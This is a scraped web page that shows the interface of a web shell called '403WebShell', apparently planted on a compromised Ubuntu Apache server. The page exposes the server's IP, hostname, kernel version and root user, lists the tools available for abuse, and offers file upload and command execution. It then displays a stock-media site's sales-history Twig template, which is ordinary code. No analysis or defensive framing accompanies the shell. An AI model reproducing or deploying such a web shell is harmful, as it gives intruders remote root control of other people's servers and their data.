WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.240
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/templates/contributor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/templates/contributor/_sales_history_template.html.twig
<div class="datagrid">
    <table>
        <thead>
        <tr>
            <th>File</th>
            <th>File ID</th>
            <th>Title</th>
            <th>License Type</th>
            <th>Date Purchased</th>
            <th>Sales Price</th>
            <th>My Earnings</th>
        </tr>
        </thead>
        <tbody>
        {% for item in soldItems %}
            <tr>
                <td data-label="File"><img src="{{ asset('uploads/stock/')~item.stock.thumbName }}" class="cart_thumbnail"></td>
                <td data-label="File ID"> {{ item.stock.formattedId ? item.stock.formattedId : item.stock.id }}</td>
                <td data-label="Title"> {{ item.stock.title }}</td>
                <td data-label="License Type">
                    {{ item.licenceType is not null? item.licenceType:"Royalty Free" }} ({{ item.fileSize }})
                    {% if item.exclusiveLicenceDuration %}
                        - Exclusive for
                        {% if item.exclusiveLicenceDuration / 12 >= 1 %}
                            {% if item.exclusiveLicenceDuration / 12 > 1  %}
                                {% set durationIn = " years" %}
                            {% else %}
                                {% set durationIn = " year" %}
                            {% endif %}
                        {% else %}
                            {% if item.exclusiveLicenceDuration > 1  %}
                                {% set durationIn = " months" %}
                            {% else %}
                                {% set durationIn = " month" %}
                            {% endif %}

                        {% endif %}
                        {{ item.exclusiveLicenceDuration / 12 >= 1 ? item.exclusiveLicenceDuration/12 ~ durationIn : item.exclusiveLicenceDuration ~ durationIn }}
                    {% endif %}
                </td>
                <td data-label="Date Purchased"> {{ item.createdAt.format('d F y, h:i:s') }}</td>
                <td data-label="Sales Price"> {{ item.amount|localizedcurrency('USD') }}</td>
                {% set am = 0 + item.amount|number_format(2,'.',',') %}
                <td data-label="Amount"> {{ (am * 0.6)|localizedcurrency('USD') }}</td>
            </tr>

        {% else %}
            <tr>
                <td colspan="6">
                    Sorry, no sales report to display.
                </td>
            </tr>
        {% endfor %}
        {% if soldItems|length > 0 %}
            <tr>
                <td colspan="5"></td>
                <td>
                    <h3 class="table_head">Total Earnings: {{ totalSales|localizedcurrency("USD") }}</h3>
                </td>
            </tr>
        {% endif %}
        </tbody>
    </table>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit